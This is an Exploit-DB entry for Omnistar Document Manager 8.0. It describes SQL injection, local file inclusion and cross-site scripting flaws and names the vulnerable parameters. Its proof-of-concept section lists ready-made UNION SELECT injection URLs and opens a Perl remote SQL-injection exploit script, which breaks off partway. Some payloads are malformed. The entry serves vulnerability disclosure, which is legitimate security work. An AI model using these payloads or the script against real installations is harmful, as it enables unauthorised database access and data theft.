Exploit-DB #21890
Description: Omnistar Document Manager 8.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-11
Author: Vulnerability-Lab

Exploit:
Title:
======
Omnistar Document Manager v8.0 - Multiple Vulnerabilities


Date:
=====
2012-10-03


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=712


VL-ID:
=====
712


Common Vulnerability Scoring System:
====================================
8.3


Introduction:
=============
You can easily manage all of your documents with Omnistar Document Management Software. Perform multiple uploads 
of large files and deliver them without using attachments. Never worry about which employees have and don t have 
accounts with unlimited users. Setup user groups to manage thousands of users and set own permissions.

(Copy of the Vendor Homepage: http://www.omnistardrive.com/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple critical Web Vulnerabilities in Omnistardrives Omnistar Document Manager v8.0.


Report-Timeline:
================
2012-10-03:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Omnistar Interactive
Product: Document Manager v8.0


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
Multiple SQL Injection Vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application.
The sql injection vulnerability allows an remote attacker to inject own sql commands/statements on the affected application dbms.
The vulnerabilities are detected in the user portal and admin section of the application. The sql vulnerabilities can be exploitation 
by remote attackers without privileged application user or admin account. The sql bugs are located index.php file with the bound 
vulnerable report_id, delete_id, add_id, return_to, interface, page & sort_order parameter requests. Successful exploitation of the 
vulnerabilities results in application dbms compromise & dbms manipulation via sql injection.

Vulnerable Section(s):
			[+] /user
			[+] /admin

Vulnerable Module(s):
			[+] index.php

Vulnerable Parameter(s):
			[+] report&id=
			[+] sort_order
			[+] delete&id=
			[+] page=
			[+] interface=


1.2
A local file include vulnerability is detected in Omnistardrives Omnistar Document Manager v8.0 web application.
The vulnerability allows a local privileged user account to include and load local system files. The vulnerability 
is located in the index module with the bound vulnerable area parameter request. Successful exploitation of the 
vulnerability results in a web server compromise via file load or information disclosure via local system file include.


Vulnerable Section(s):
			[+] /user
			[+] /admin

Vulnerable Module(s):
			[+] index.php
			[+] class.inc.php

Vulnerable Parameter(s):
			[+] area=



1.3
Multiple non persistent cross site scripting vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application.
The vulnerabilities allow remote attackers to hijack administrator/moderator/customer sessions via persistent malicious script code inject 
on application side. The vulnerabilities are located in the interface exception-handling module of the application with the client side 
bound vulnerable interface, act, name & alert_msg parameter requests.


Vulnerable Section(s):
			[+] /user
			[+] /admin

Vulnerable Module(s):
			[+] index.php

Vulnerable Parameter(s):
			[+] interface
			[+] act
			[+] name
			[+] alert_msg


Proof of Concept:
=================
1.1
The sql injection vulnerabilities can be exploited by remote attackers without required user inter action and without privileged application 
user account. For demonstration or reproduce ...

https://127.0.0.1:1338/[PATH]/index.php
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id=-1' union all select 1,2,3,4,()database,6--

https:/127.0.0.1:1338/[PATH]/index.php
?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order=-1' union all select 1,2,3,4,()database,6--

https://127.0.0.1:1338/[PATH]/index.php
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6--

https://127.0.0.1:1338/[PATH]/index.php
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6--

https://127.0.0.1:1338/[PATH]/index.php
?interface=-1' union all select 1,2,3,4,()database,6--&alert_msg=1337

https://127.0.0.1:1338/[PATH]/index.php
?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page=-1' union all select 1,2,3,4,()database,6--
&return_to=-1' union all select 1,2,3,4,()database,6--


#!/usr/bin/perl

use IO::Socket;
if(@ARGV < 1){
print "
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

>  Remote SQL-Injection Exploit - Omnistar Document Manager v8.0
>  ---
>  $file ... can also be exchanged with the following parameters ---
>  $file2 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=";
>  $file3 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order=";
>  $file4 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id=";
>  $file5 = "/[INCLUDE PATH]/index.php?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page=";
>  ---

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
";
exit();
}
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/[INCLUDE PATH]/index.php?interface=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "[+] Exploit